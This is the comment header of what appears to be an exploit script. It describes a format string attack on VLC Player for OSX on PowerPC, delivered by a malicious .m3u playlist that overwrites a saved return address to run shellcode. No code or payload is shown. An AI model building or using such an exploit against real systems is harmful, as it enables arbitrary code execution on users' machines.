# This is just a vanilla format string exploit for OSX on ppc. We overwrite a saved return addy with our shellcode address.
# This code currently overwrites the saved return addy with the stack location of our shellcode.
#
# This exploit will create a malicious .m3u file that will cause VLC Player for OSX to execute arbitrary code.
